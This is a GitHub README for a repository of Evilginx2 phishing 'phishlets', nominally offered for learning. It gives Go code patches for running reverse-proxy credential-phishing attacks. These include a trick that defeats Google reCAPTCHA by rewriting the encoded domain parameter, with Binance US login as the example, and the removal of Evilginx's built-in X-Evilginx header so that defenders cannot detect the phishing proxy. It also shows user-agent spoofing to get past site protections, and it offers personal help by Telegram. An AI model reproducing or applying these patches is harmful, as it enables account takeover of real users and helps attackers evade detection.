DesprateSparten / Evilginx2-Phishlets

Evilginx2 Phishlets version (0.2.3) Only For Testing/Learning Purposes

This Repo is Only For Learning Purposes. Use These Phishlets To learn and create Your Own.

Phishlets Developemnt Tips

• Always Use Debug Mode in evilginx During Testing
• Not Everything is Working Here, Use these Phishlets to learn and to Play with Evilginx.
• Be Creative when it comes to bypassing protection.
• Javascript Injection can fix a lot of issues and will make your life easier during phishing engagements.

Some Less Known Techniques

Google Recaptcha Bypass

• Google recaptcha encodes domain in base64 and includes it in co parameter in GET request.
• For Example in Binance us Login.

  https://www.google.com/recaptcha/enterprise/anchor?ar=1&k=6LePlpgbAAAAAPlPfzzXnJ1lrMTqRWgouzDcSd3b&co=aHR0cHM6Ly9hY2NvdW50cy5iaW5hbmNlLnVzOjQ0Mw..&hl=en&v=vP4jQKq0YJFzU6e21-BGy3GP&size=invisible&cb=knko72z68i8y
  

• Here the parameter co contains string co=aHR0cHM6Ly9hY2NvdW50cy5iaW5hbmNlLnVzOjQ0Mw.. which is the base64 encoding of https://accounts.binance.us:443
• We can modify this to https://accounts.anydomain.com:443 and encode it in base64 aHR0cHM6Ly9hY2NvdW50cy5hbnlkb21haW4uY29tOjQ0Mw and replace the parameter with this new value.
• We should be able to bypass the google recaptcha.
• Here is the work around code to implement this. Replace the code in evilginx2 core/http_proxy.go line 409

				// patch GET query params with original domains & bypass recaptcha
				if pl != nil {
					qs := req.URL.Query()
					if len(qs) > 0 {
						for gp := range qs {
							for i, v := range qs[gp] {
								qs[gp][i] = string(p.patchUrls(pl, []byte(v), CONVERT_TO_ORIGINAL_URLS))
							if qs[gp][i] == "aHR0cHM6Ly9hY2NvdW50cy5iaW5hbmNlLnVzOjQ0Mw.." { // https://accounts.binance.us:443
								qs[gp][i] = "aHR0cHM6Ly9hY2NvdW50cy5hbnlkb21haW4uY29tOjQ0Mw" // https://accounts.anydomain.com:443
							}
							}
						}
						req.URL.RawQuery = qs.Encode()
					}
				}

Evilginx2 Easter Egg Patch (X-Evilginx Header)

• Evilginx2 contains easter egg code which adds a X-Evilginx header with each request.
• This header contains the Attacker Domain name. So it can be used for detection.
• To remove the Easter egg from evilginx just remove/comment below mentioned lines from the core/http_proxy.go file.

// Line 183
egg2 := req.Host

// Line 350
hg := []byte{0x94, 0xE1, 0x89, 0xBA, 0xA5, 0xA0, 0xAB, 0xA5, 0xA2, 0xB4}  

// Line 407
req.Header.Set(string(hg), egg2)  

// Line 377 to 379
for n, b := range hg {
		hg[n] = b ^ 0xCC
	}
  
// Line 562 to 566
e := []byte{208, 165, 205, 254, 225, 228, 239, 225, 230, 240}
for n, b := range e {
		e[n] = b ^ 0x88
}
req.Header.Set(string(e), e_host)

// Line 1456 to 1462
func (p *HttpProxy) cantFindMe(req *http.Request, nothing_to_see_here string) {
	var b []byte = []byte("\x1dh\x003,)\",+=")
	for n, c := range b {
		b[n] = c ^ 0x45
	}
	req.Header.Set(string(b), nothing_to_see_here)
}

// Line 580
p.cantFindMe(req, e_host)

Add Custom User Agent

• Few sites have protections based on user agent, and relaying on javascript injections to modify the user agent on victim side may break/slow the attack process.
• Custom User Agent Can be Added on the fly by replacing the User-Agent Header in each requests.
• Below is the work Around Code to achieve this. You can add code in evilginx2 core/http_proxy.go file below line 395.

				// Replace Any User Agent With Firefox UserAgent
				useragent := req.Header.Get("User-Agent")
				if useragent != "" {                                   
							req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0")
							log.Debug("[%d] Injected User Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/96.0 ", ps.Index)
				}

Error Resolving

Error-1 : (Failed to start nameserver on port 53)

METHOD 1 :-

• Follow These Commands & Then Try Relaunching Evilginx

sudo service systemd-resolved stop
nano /etc/resolv.conf

• Then change nameserver 127.x.x.x to nameserver 8.8.8.8
• Then save the file (By pressing CTRL+X and pressing Y followed by enter)

METHOD 2 :-

• Check if All the neccessary ports are not being used by some other services.
• Ports Like: 80, 53, 443
• Find Those Ports And Kill those Processes

sudo netstat -ptnl | grep 53
sudo kill PID

• Where PID is Process ID
• Similarly Find And Kill Process On other Ports That are in use.
• Now Try To Run Evilginx and get SSL certificates

Need any Help ??

• Regarding phishlets for Penetration testing.
• Help with phishlet issues or anything.
• Can Help regarding projects related to Reverse Proxy.
• Contact Me on telegram: https://t.me/its_udy (This is the only account belong to me)
• Please be aware of anyone impersonating my handle ( @an0nud4y is not my telegram handle)
• You can also contact me on twitter (https://an0nud4y.com)

WARNING !

• DEVELOPER WILL NOT BE RESPONSIBLE FOR ANY MISUSE OF THE PHISHLETS. THESE PHISHLETS ARE ONLY FOR TESTING/LEARNING/EDUCATIONAL/SECURITY PURPOSES.
• DEVELOPER DO NOT SUPPORT ANY OF THE ILLEGAL ACTIVITIES.
• RELEASED THE WORKING/NON-WORKING PHISHLETS JUST TO LET OTHERS LEARN AND FIGURE OUT VARIOUS APPROACHES.